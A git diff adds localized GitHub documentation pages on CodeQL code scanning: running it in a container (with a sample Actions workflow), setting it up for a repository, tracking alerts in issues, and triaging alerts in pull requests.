+  - Java
+ms.openlocfilehash: 60dac8a7f71af067c5cfaba5f48d123a3068f704
+ms.sourcegitcommit: aa488e9e641139f9056885b1479c8801e9906131
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148162807'
+---
+{% data reusables.code-scanning.beta %}
+
+## Informationen zu {% data variables.product.prodname_code_scanning %} mit einem containerisierten Build
+
+Wenn du {% data variables.product.prodname_code_scanning %} für eine kompilierte Sprache einrichtest und den Code in einer containerisierten Umgebung erstellst, schlägt die Analyse möglicherweise mit der Fehlermeldung „Während des Builds wurde kein Quellcode angezeigt“ fehl. Dies weist darauf hin, dass {% data variables.product.prodname_codeql %} den Code nicht überwachen konnten, da er kompiliert wurde.
+
+Du musst {% data variables.product.prodname_codeql %} innerhalb des Containers ausführen, in dem du deinem Code erstellst. Dies gilt unabhängig davon, ob du die {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %}, den {% data variables.code-scanning.codeql_runner %}{% endif %} oder {% data variables.product.prodname_actions %} verwendest. Weitere Informationen zur {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}oder dem {% data variables.code-scanning.codeql_runner %}{% endif %} findest du unter [Installieren der {% data variables.product.prodname_codeql_cli %} in deinem CI-System](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system){% ifversion codeql-runner-supported %} oder [Ausführen von {% data variables.code-scanning.codeql_runner %} in deinem CI-System](/code-security/secure-coding/running-codeql-runner-in-your-ci-system){% endif %}. Wenn du {% data variables.product.prodname_actions %} verwenden, konfiguriere deinen Workflow so, dass alle Aktionen im selben Container ausgeführt werden. Weitere Informationen finden im [Beispielworkflow](#example-workflow).
+
+{% note %}
+
+**Hinweis**: {% data reusables.code-scanning.non-glibc-linux-support %}
+
+{% endnote %}
+
+## Abhängigkeiten
+
+Möglicherweise hast du Schwierigkeiten, {% data variables.product.prodname_code_scanning %} auszuführen, wenn deinem verwendeten Container bestimmte Abhängigkeiten fehlen (z. B. muss Git installiert und zur PATH-Variable hinzugefügt werden). Bei Abhängigkeitsproblemen überprüfe die Liste der Software, die normalerweise in den Runner-Images von {% data variables.product.prodname_dotcom %} enthalten ist. Weitere Informationen findest du in den versionsspezifischen `readme`-Dateien an diesen Speicherorten:
+
+* Linux: https://github.com/actions/runner-images/tree/main/images/linux
+* macOS: https://github.com/actions/runner-images/tree/main/images/macos
+* Windows: https://github.com/actions/runner-images/tree/main/images/win
+
+## Beispielworkflow
+
+{% ifversion ghes or ghae %} {% note %}
+
+**Hinweis:** In diesem Artikel werden die Features beschrieben, die mit der Version der CodeQL-Aktion und dem zugehörigen CodeQL-CLI-Bundle im ursprünglichen Release dieser Version von {% data variables.product.product_name %} verfügbar sind. Wenn dein Unternehmen eine neuere Version der CodeQL-Aktion verwendet, findest du im [{% data variables.product.prodname_ghe_cloud %}-Artikel](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container) Informationen zu den neuesten Funktionen.{% ifversion not ghae %} Informationen zur Verwendung der neuesten Version findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access).{% endif %}
+
+{% endnote %} {% endif %}
+
+Dieser Beispielworkflow verwendet {% data variables.product.prodname_actions %}, um {% data variables.product.prodname_codeql %}-Analysen in einer containerisierten Umgebung durchzuführen. Der Wert von `container.image` gibt den zu verwendenden Container an. In diesem Beispiel wird das Image `codeql-container` mit einem Tag von `f0f91db` genannt. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer).
+
+``` yaml
+name: "{% data variables.product.prodname_codeql %}"
+
+on: 
+  push:
+    branches: [main]
+  pull_request:
+    branches: [main]
+  schedule:
+    - cron: '15 5 * * 3'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      security-events: write
+      actions: read
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [java]
+
+    # Specify the container in which actions will run
+    container:
+      image: codeql-container:f0f91db
+
+    steps:
+      - name: Checkout repository
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Initialize {% data variables.product.prodname_codeql %}
+        uses: {% data reusables.actions.action-codeql-action-init %}
+        with:
+          languages: {% raw %}${{ matrix.language }}{% endraw %}
+      - name: Build
+        run: |
+          ./configure
+          make
+      - name: Perform {% data variables.product.prodname_codeql %} Analysis
+        uses: {% data reusables.actions.action-codeql-action-analyze %}
+```
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md
new file mode 100644
index 0000000000..4cad55a2e4
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md
@@ -0,0 +1,199 @@
+---
+title: Setting up code scanning for a repository
+shortTitle: Set up code scanning
+intro: 'You can set up {% data variables.product.prodname_code_scanning %} by adding a workflow to your repository.'
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'If you have write permissions to a repository, you can set up or configure {% data variables.product.prodname_code_scanning %} for that repository.'
+redirect_from:
+  - /github/managing-security-vulnerabilities/configuring-automated-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/enabling-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/enabling-code-scanning-for-a-repository
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository
+  - /code-security/secure-coding/setting-up-code-scanning-for-a-repository
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Actions
+  - Repositories
+---
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
+
+## Options for setting up {% data variables.product.prodname_code_scanning %}
+
+You decide how to generate {% data variables.product.prodname_code_scanning %} alerts, and which tools to use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)."
+
+{% data reusables.code-scanning.enabling-options %}
+
+{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
+{% data reusables.code-scanning.about-analysis-origins-link %}
+{% endif %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note:** If you want to use the CodeQL analysis, note that this article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
+
+{% endnote %}
+{% endif %}
+
+{% ifversion ghae %}
+## Prerequisites
+
+Before setting up {% data variables.product.prodname_code_scanning %} for a repository, you must ensure that there is at least one self-hosted {% data variables.product.prodname_actions %} runner available to the repository.
+
+Enterprise owners, organization and repository administrators can add self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## Setting up {% data variables.product.prodname_code_scanning %} using starter workflows
+
+{% data reusables.advanced-security.starter-workflows-beta %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.advanced-security.starter-workflow-overview %} {% data variables.product.prodname_code_scanning_capc %} starter workflows are only available for your repository if {% data variables.product.prodname_code_scanning %} is enabled.
+
+{% data reusables.code-scanning.billing %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. If the repository has already at least one workflow set up and running, click **New workflow** and go to step 5. If there are currently no workflows configured for the repository, go to the next step.
+   ![Screenshot of the New workflow button](/assets/images/help/security/actions-new-workflow-button.png)
+1. Scroll down to the "Security" category and click **Configure** under the workflow you want to configure, or click **View all** to see all available security workflows.
+   ![Screenshot of the Actions workflows security section](/assets/images/help/security/actions-workflows-security-section.png)
+1. On the right pane of the workflow page, click **Documentation** and follow the on-screen instructions to tailor the workflow to your needs.
+   ![Screenshot of the Documentation tab for starter workflows](/assets/images/help/security/actions-workflows-documentation.png)
+   For more information, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows#using-starter-workflows)" and "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning)."
+
+{% endif %}
+
+## Setting up {% data variables.product.prodname_code_scanning %} manually
+
+{% ifversion fpt %}
+
+You can set up {% data variables.product.prodname_code_scanning %} in any public repository where you have write access.
+
+{% endif %}
+
+{% data reusables.code-scanning.billing %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**.{% ifversion ghec or ghes or ghae %} If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}.{% endif %} For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+ !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png)
+4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.code-scanning.codeql_workflow %} or on a third-party workflow.
+ !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.code-scanning.codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
+5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow.
+
+   Generally you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
+
+   For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
+6. Use the **Start commit** drop-down, and type a commit message.
+ ![Start commit](/assets/images/help/repository/start-commit-commit-new-file.png)
+7. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request.
+ ![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png)
+8. Click **Commit new file** or **Propose new file**.
+
+In the default {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
+
+The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
+## Bulk set up of {% data variables.product.prodname_code_scanning %}
+
+You can set up {% data variables.product.prodname_code_scanning %} in many repositories at once using a script. If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS.
+
+## Viewing the logging output from {% data variables.product.prodname_code_scanning %}
+
+After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run.
+
+{% data reusables.repositories.actions-tab %}
+
+  You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message.
+
+  ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png)
+
+1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow.
+
+1. Click the job name on the left. For example, **Analyze (LANGUAGE)**.
+
+  ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
+
+1. Review the logging output from the actions in this workflow as they run.
+
+1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+
+{% note %}
+
+**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page.
+
+![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
+
+{% endnote %}
+
+## Understanding the pull request checks
+
+Each {% data variables.product.prodname_code_scanning %} workflow you set to run on pull requests always has at least two entries listed in the checks section of a pull request. There is one entry for each of the analysis jobs in the workflow, and a final one for the results of the analysis.
+
+The names of the {% data variables.product.prodname_code_scanning %} analysis checks take the form: "TOOL NAME / JOB NAME (TRIGGER)." For example, for {% data variables.product.prodname_codeql %}, analysis of C++ code has the entry "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." You can click **Details** on a {% data variables.product.prodname_code_scanning %} analysis entry to see logging data. This allows you to debug a problem if the analysis job failed. For example, for {% data variables.product.prodname_code_scanning %} analysis of compiled languages, this can happen if the action can't build the code.
+
+  ![{% data variables.product.prodname_code_scanning %} pull request checks](/assets/images/help/repository/code-scanning-pr-checks.png)
+
+When the {% data variables.product.prodname_code_scanning %} jobs complete, {% data variables.product.prodname_dotcom %} works out whether any alerts were added by the pull request and adds the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" entry to the list of checks. After {% data variables.product.prodname_code_scanning %} has been performed at least once, you can click **Details** to view the results of the analysis.
+
+{% ifversion ghes < 3.5 or ghae %}
+If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see an "Analysis not found" message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check.
+
+  ![Analysis not found for commit message](/assets/images/enterprise/3.4/repository/code-scanning-analysis-not-found.png)
+
+The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request.
+
+For example, in the screenshot above, {% data variables.product.prodname_code_scanning %} found an analysis for the merge commit of the pull request, but no analysis for the head of the main branch.
+
+### Reasons for the "Analysis not found" message
+
+
+After {% data variables.product.prodname_code_scanning %} has analyzed the code in a pull request, it needs to compare the analysis of the topic branch (the branch you used to create the pull request) with the analysis of the base branch (the branch into which you want to merge the pull request). This allows {% data variables.product.prodname_code_scanning %} to compute which alerts are newly introduced by the pull request, which alerts were already present in the base branch, and whether any existing alerts are fixed by the changes in the pull request. Initially, if you use a pull request to add {% data variables.product.prodname_code_scanning %} to a repository, the base branch has not yet been analyzed, so it's not possible to compute these details. In this case, when you click through from the results check on the pull request you will see the "Analysis not found" message.
+
+There are other situations where there may be no analysis for the latest commit to the base branch for a pull request. These include:
+
+* The pull request has been raised against a branch other than the default branch, and this branch hasn't been analyzed.
+
+  To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch.
+
+  ![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png)
+
+  The solution in this situation is to add the name of the base branch to the `on:push` and `on:pull_request` specification in the {% data variables.product.prodname_code_scanning %} workflow on that branch and then make a change that updates the open pull request that you want to scan.
+
+* The latest commit on the base branch for the pull request is currently being analyzed and analysis is not yet available.
+
+  Wait a few minutes and then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}.
+
+* An error occurred while analyzing the latest commit on the base branch and analysis for that commit isn't available.
+
+  Merge a trivial change into the base branch to trigger {% data variables.product.prodname_code_scanning %} on this latest commit, then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}.
+
+{% endif %}
+
+## Next steps
+
+After setting up {% data variables.product.prodname_code_scanning %}, and allowing its actions to complete, you can:
+
+- View all of the {% data variables.product.prodname_code_scanning %} alerts generated for this repository. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+- View any alerts generated for a pull request submitted after you set up {% data variables.product.prodname_code_scanning %}. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
+- Set up notifications for completed runs. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)."
+- View the logs generated by the {% data variables.product.prodname_code_scanning %} analysis. For more information, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)."
+- Investigate any problems that occur with the initial setup of {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
+- Customize how {% data variables.product.prodname_code_scanning %} scans the code in your repository. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
new file mode 100644
index 0000000000..ac00737cbc
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
@@ -0,0 +1,88 @@
+---
+title: Tracking code scanning alerts in issues using task lists
+shortTitle: Track alerts in issues
+intro: You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts.
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'If you have write permission to a repository you can track {% data variables.product.prodname_code_scanning %} alerts in issues using task lists.'
+versions:
+  feature: code-scanning-task-lists
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Alerts
+  - Repositories
+  - Issues
+---
+
+{% data reusables.code-scanning.beta-alert-tracking-in-issues %}
+
+## About tracking {% data variables.product.prodname_code_scanning %} alerts in issues
+
+{% data reusables.code-scanning.github-issues-integration %}
+
+You can also create a new issue to track an alert:
+- From a {% data variables.product.prodname_code_scanning %} alert, which automatically adds the code scanning alert to a task list in the new issue. For more information, see "[Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert)" below.
+
+- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship: 
+   - `- [ ] <full-URL- to-the-code-scanning-alert>`
+   - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the code scanning alert that has an ID number of 17 in the "Security" tab of the `octocat-repo` repository in the `octocat-org` organization.
+
+You can use more than one issue to track the same {% data variables.product.prodname_code_scanning %} alert, and issues can belong to different repositories from the repository where the {% data variables.product.prodname_code_scanning %} alert was found.
+
+
+{% data variables.product.product_name %} provides visual cues in different locations of the user interface to indicate when you are tracking {% data variables.product.prodname_code_scanning %} alerts in issues.
+
+- The code scanning alerts list page will show which alerts are tracked in issues so that you can view at a glance which alerts still require processing.
+
+  ![Tracked in pill on code scanning alert page](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png)
+
+- A "tracked in" section will also show in the corresponding alert page. 
+
+  {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+  ![Tracked in section on code scanning alert page](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png)
+  {% else %}
+  ![Tracked in section on code scanning alert page](/assets/images/enterprise/3.4/repository/code-scanning-alert-tracked-in-pill.png)
+  {% endif %}
+
+- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. 
+  
+  {% note %}
+
+  Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL.
+
+  {% endnote %}
+  
+  The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change.
+
+  ![Hovercard in tracking issue](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png)
+
+The status of the tracked alert won't change if you change the checkbox state of the corresponding task list item (checked/unchecked) in the issue.
+
+## Creating a tracking issue from a code scanning alert
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-code-scanning-alerts %}
+{% ifversion fpt or ghes or ghae %}
+{% data reusables.code-scanning.explore-alert %}
+1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)."
+{% endif %}
+1. Towards the top of the page, on the right side, click **Create issue**. 
+   {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+   ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
+   {% else %}
+   ![Create a tracking issue for the code scanning alert](/assets/images/enterprise/3.4/repository/code-scanning-create-issue-for-alert.png)
+   {% endif %}
+   {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item.
+   {% data variables.product.prodname_dotcom %} prepopulates the issue:
+   - The title contains the name of the {% data variables.product.prodname_code_scanning %} alert.
+   - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. 
+2. Optionally, edit the title and the body of the issue.
+   {% warning %}
+
+    **Warning:** You may want to edit the title of the issue as it may expose security information. You can also edit the body of the issue, but do not edit the task list item or the issue will no longer track the alert.
+   {% endwarning %}
+
+   ![New tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-new-tracking-issue.png)
+3. Click **Submit new issue**.
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
new file mode 100644
index 0000000000..f9ca9039ad
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
@@ -0,0 +1,124 @@
+---
+title: Triaging code scanning alerts in pull requests
+shortTitle: Triage alerts in pull requests
+intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.'
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'If you have read permission for a repository, you can see annotations on pull requests. With write permission, you can see detailed information and resolve {% data variables.product.prodname_code_scanning %} alerts for that repository.'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests
+  - /code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Pull requests
+  - Alerts
+  - Repositories
+---
+
+
+{% data reusables.code-scanning.beta %}
+
+## About {% data variables.product.prodname_code_scanning %} results on pull requests
+
+In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. If merging the changes would introduce new {% data variables.product.prodname_code_scanning %} alerts to the target branch, the alerts are reported in multiple places.
+
+- Check results in the pull request {% ifversion code-scanning-pr-conversations-tab %}
+- The **Conversation** tab of the pull request, as part of a pull request review {% endif %} 
+- The **Files changed** tab of the pull request
+
+If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+
+In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
+
+If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+
+## About {% data variables.product.prodname_code_scanning %} as a pull request check
+
+There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact setup of each repository will vary and some will have more than one check. 
+
+### {% data variables.product.prodname_code_scanning_capc %} results check
+
+For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations. 
+
+To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)."
+
+![{% data variables.product.prodname_code_scanning_capc %} results check on a pull request](/assets/images/help/repository/code-scanning-results-check.png)
+
+### {% data variables.product.prodname_code_scanning_capc %} results check failures
+
+If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`, `critical`, or `high`, the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds.
+
+![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png)
+
+You can override the default behavior in your repository settings, by specifying the level of severities and security severities that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)".
+
+### Other {% data variables.product.prodname_code_scanning %} checks
+
+Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. 
+
+For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). 
+
